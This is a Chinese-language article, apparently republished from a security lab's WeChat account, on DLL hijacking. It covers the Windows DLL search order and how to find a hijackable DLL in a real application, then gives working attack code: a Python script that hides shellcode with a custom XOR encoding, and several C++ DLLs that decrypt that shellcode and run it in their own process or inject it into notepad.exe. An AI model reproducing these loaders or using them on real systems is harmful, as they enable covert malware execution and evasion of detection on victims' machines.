DLL 搜索路径
⇓ 应用程序所在目录
⇓ 系统目录(即 C:WindowsSystem32)
⇓ 16位系统目录(即 C:WindowsSystem)
⇓ Windows 目录(即 C:Windows)
⇓ 当前目录(当前执行文件所在目录)
⇓ PATH 环境变量中的各个目录
dll编写
DLL开发目录格式
编写dll文件
dll文件
#define WIN32_LEAN_AND_MEAN// 从 Windows 头文件中排除极少使用的内容
// Windows 头文件
#include <windows.h>
// 下方列出的文件仅编译一次,提高了将来生成的生成性能。
// 这还将影响 IntelliSense 性能,包括代码完成和许多代码浏览功能。
// 但是,如果此处列出的文件中的任何一个在生成之间有更新,它们全部都将被重新编译。
// 请勿在此处添加要频繁更新的文件,这将使得性能优势无效。#ifndef PCH_H
#define PCH_H
// 添加要在此处预编译的标头
#include "framework.h"
#endif //PCH_H
extern "C" __declspec(dllexport) void HelloWorld();
#include "pch.h"
BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved) // Reserved
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
HelloWorld(); // 进程加载 DLL 时被调用。
case DLL_THREAD_ATTACH: // 当一个新的线程被创建并且该线程调用了 DLL 时,会触发此事件。此时,可以执行特定于线程的初始化代码,例如分配线程局部存储(TLS)。
break;
case DLL_THREAD_DETACH: // 当一个线程正常退出时,触发此事件。可以在这里释放与该线程相关的资源,如清理线程局部存储。break;
case DLL_PROCESS_DETACH: // 当一个进程卸载 DLL 时被调用。这个时候可以在这里执行清理操作,如释放在 DLL_PROCESS_ATTACH 中分配的全局资源。
break;
}
return TRUE;
}
#include "pch.h"
//
当使用预编译的头时,需要使用此源文件,编译才能成功。void HelloWorld() { MessageBox(NULL, TEXT("Hello World"), TEXT("In a DLL"), MB_OK); }测试文件
#include <iostream>
typedef void (*FunctionType)(); // 定义函数指针类型
int main(){
HINSTANCE hinstDLL = ::LoadLibrary(L"Dll_test.dll");
if (hinstDLL != NULL) {
FunctionType HelloWorld = (FunctionType)GetProcAddress(hinstDLL, "HelloWorld");
if (HelloWorld != NULL) {
HelloWorld();
}
else {
std::cerr << "Failed to find s function in the DLL." << ::GetLastError() << std::endl;
}
}
else {
// 处理错误:加载DLL失败
std::cerr << "Failed to load the DLL." << ::GetLastError() << std::endl;
}
system("pause"); // 在命令行中显示 "Press any key to continue . . ."
return 0;
}
dll静态和动态调用
dll 静态调用特点
dll 动态调用特点
可用白文件查找
静态查找
动态查找
Result is NAME NOT FOUND
Process Name is cloudmusic_reporter.exe
攻击利用
生成dll导出函数
CFF Explorer
extern "C" __declspec(dllexport) void SignalInitializeCrashReporting() {}
AheadlibEx
{
if (dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
//这里写我们的恶意代码
。。。。。。。。
}
else if (dwReason == DLL_PROCESS_DETACH)
{
Free();
}
return TRUE;
}
Python XOR代码
encrypted_shellcode = bytearray()
for byte in shellcode:
encrypted_byte = ((~(byte ^ key)) << 1 & 0xFF) | ((~(byte ^ key)) >> 7 & 0x01)# 自定义加密操作
encrypted_shellcode.append(encrypted_byte)
return encrypted_shellcode
with open("payload_x64.bin","rb")as fp:
shellcode=fp.read()
key = 0xAB# 加密密钥
#加密 shellcode
encrypted_shellcode = custom_encrypt(shellcode, key)
#打印加密后的 shellcode(以 C++ 格式显示)
print("Encrypted Shellcode:")
print(", ".join(f"0x{byte:02x}" for byte in encrypted_shellcode))
#打印加密密钥
print(f"Encryption Key: 0x{key:02x}")
导出函数上线方式
#include "pch.h"
#include <Windows.h>
extern "C" __declspec(dllexport) void GetInstallDetailsPayload(){
MessageBox(NULL, TEXT("1"), TEXT("1"), MB_OK);
}
extern "C" __declspec(dllexport) void SignalInitializeCrashReporting() {
MessageBox(NULL, TEXT("1"), TEXT("2"), MB_OK);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORDul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH: {
MessageBox(NULL, TEXT("1"), TEXT("3"), MB_OK);
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <Windows.h>
// Shellcode 加密数据
unsigned char payload[] = {
0x51, 0x38, 0xaf, 0x61, 0x49,
};
// 自定义解密函数
void CustomDecrypt(unsigned char* data, size_t dataSize, unsigned char key) {
for (size_t i = 0; i < dataSize; ++i) {
data[i] = ((~(data[i] >> 1 | data[i] << 7)) ^ key);
}
}
unsigned int payload_len = sizeof payload - 1;
extern "C" __declspec(dllexport) void GetInstallDetailsPayload() {
void* runtime;
BOOL retval;
HANDLE h_thread;
DWORD old_protect = 0;
runtime = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
unsigned char key = 0xAB;// 解密密钥
CustomDecrypt(payload, payload_len, key);
RtlMoveMemory(runtime, payload, payload_len);
retval = VirtualProtect(runtime, payload_len, PAGE_EXECUTE_READ, &old_protect);
if (retval != 0) {
h_thread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)runtime, 0, 0, 0);
WaitForSingleObject(h_thread, -1);
}
VirtualFree(runtime, payload_len, MEM_RELEASE);
MessageBox(NULL, L"Payload注入成功", L"test", MB_OK);
}
extern "C" __declspec(dllexport) void SignalInitializeCrashReporting() {
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORDul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH: {
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
DLLMain 上线方式
在DllMain中,Windows系统会自动为DLL加载的进程或线程加锁,以确保在调用DLL的同时不会发生其他的加载或卸载操作。如果在DllMain中调用任何会尝试获取这个锁的函数,就会形成循环依赖,从而导致死锁。如一些API(如CreateThread、LoadLibrary、GetModuleHandle等)可能会试图获取加载程序锁。这些API的调用会阻止其他线程完成其操作,造成相互等待,最终导致死锁。
#include <Shlwapi.h>
#include <Windows.h>
#include <TlHelp32.h>
#include <iostream>
.......
// Shellcode 加密数据
unsigned char shellcode[] = {
0x51, 0x38, 0xaf, 0x61。。。。。。
};
size_t shellcodeSize = sizeof(shellcode);
// 自定义解密函数
void CustomDecrypt(unsigned char* data, size_t dataSize, unsigned char key) {
for (size_t i = 0; i < dataSize; ++i) {
data[i] = ((~(data[i] >> 1 | data[i] << 7)) ^ key);
}
}
DWORD FindProcessId(const wchar_t* processName) {
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
return 0;
}
PROCESSENTRY32 pe;
pe.dwSize = sizeof(pe);
if (Process32First(hSnapshot, &pe)) {
do {
if (wcscmp(pe.szExeFile, processName) == 0) {
CloseHandle(hSnapshot);
return pe.th32ProcessID;
}
} while (Process32Next(hSnapshot, &pe));
}
CloseHandle(hSnapshot);
return 0;
}
int InjectShellcode() {
const wchar_t* targetProcessName = L"notepad.exe";// 目标进程名
DWORD processId = FindProcessId(targetProcessName);
unsigned char key = 0xAB;// 解密密钥
CustomDecrypt(shellcode, shellcodeSize, key);
if (processId == 0) {
std::cerr << "未找到目标进程。" << std::endl;
return -1;
}
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);
if (hProcess == NULL) {
std::cerr << "无法打开进程。" << std::endl;
return -1;
}
LPVOID allocMem = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (allocMem == NULL) {
std::cerr << "内存分配失败。" << std::endl;
CloseHandle(hProcess);
return -1;
}
// 将 shellcode 写入目标进程的内存
SIZE_T bytesWritten;
if (!WriteProcessMemory(hProcess, allocMem, shellcode, sizeof(shellcode), &bytesWritten) || bytesWritten != sizeof(shellcode)) {
std::cerr << "写入进程内存失败。" << std::endl;
VirtualFreeEx(hProcess, allocMem, 0, MEM_RELEASE);
CloseHandle(hProcess);
return -1;
}
// 创建远程线程执行 shellcode
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)allocMem, NULL, 0, NULL);
if (hThread == NULL) {
std::cerr << "创建远程线程失败。" << std::endl;
VirtualFreeEx(hProcess, allocMem, 0, MEM_RELEASE);
CloseHandle(hProcess);
return -1;
}
// 等待线程结束
//WaitForSingleObject(hThread, INFINITE);
// 清理
//VirtualFreeEx(hProcess, allocMem, 0, MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProcess);
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
InjectShellcode();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
unsigned char encryptedShellcode[] = {
0x51, 0x38, 0xaf, 0x61, 0x49, 0x79, 0x39,.....
};
size_t shellcodeSize = sizeof(encryptedShellcode);
// 自定义解密函数
void CustomDecrypt(unsigned char* data, size_t dataSize, unsigned char key) {
for (size_t i = 0; i < dataSize; ++i) {
data[i] = ((~(data[i] >> 1 | data[i] << 7)) ^ key);
}
}
// 使用 VirtualAllocEx 注入并执行 shellcode 到指定进程中
BOOL InjectShellcodeToProcess(HANDLE hProcess, unsigned char* shellcode, size_t shellcodeSize) {
LPVOID shellcodeAddr = VirtualAllocEx(hProcess, NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!shellcodeAddr) {
MessageBox(NULL, L"VirtualAllocEx failed", L"Error", MB_OK);
return FALSE;
}
if (!WriteProcessMemory(hProcess, shellcodeAddr, shellcode, shellcodeSize, NULL)) {
MessageBox(NULL, L"WriteProcessMemory failed", L"Error", MB_OK);
VirtualFreeEx(hProcess, shellcodeAddr, 0, MEM_RELEASE);
return FALSE;
}
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)shellcodeAddr, NULL, 0, NULL);
if (!hThread) {
MessageBox(NULL, L"CreateRemoteThread failed", L"Error", MB_OK);
VirtualFreeEx(hProcess, shellcodeAddr, 0, MEM_RELEASE);
return FALSE;
}
WaitForSingleObject(hThread, INFINITE);
VirtualFreeEx(hProcess, shellcodeAddr, 0, MEM_RELEASE);
CloseHandle(hThread);
return TRUE;
}
// 执行解密后的 shellcode
void ExecuteShellcode() {
HANDLE hProcess = GetCurrentProcess();
unsigned char key = 0xAB;// 解密密钥
CustomDecrypt(encryptedShellcode, shellcodeSize, key);
InjectShellcodeToProcess(hProcess, encryptedShellcode, shellcodeSize);
}
// 使用线程池来执行 shellcode,避免 Loader Lock
void CALLBACK ShellcodeThreadPoolCallback(PTP_CALLBACK_INSTANCE Instance, PVOID Parameter, PTP_WORK Work) {
UNREFERENCED_PARAMETER(Instance);
UNREFERENCED_PARAMETER(Parameter);
UNREFERENCED_PARAMETER(Work);
ExecuteShellcode();
}
// DLL 入口点
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH: {
DisableThreadLibraryCalls(hModule);
PTP_WORK work = CreateThreadpoolWork(ShellcodeThreadPoolCallback, NULL, NULL);
if (work != NULL) {
SubmitThreadpoolWork(work);
CloseThreadpoolWork(work);
}
else {
MessageBox(NULL, L"Failed to create threadpool work", L"Error", MB_OK);
}
break;
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
原文始发于微信公众号(长风实验室):DLL劫持与攻击利用
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论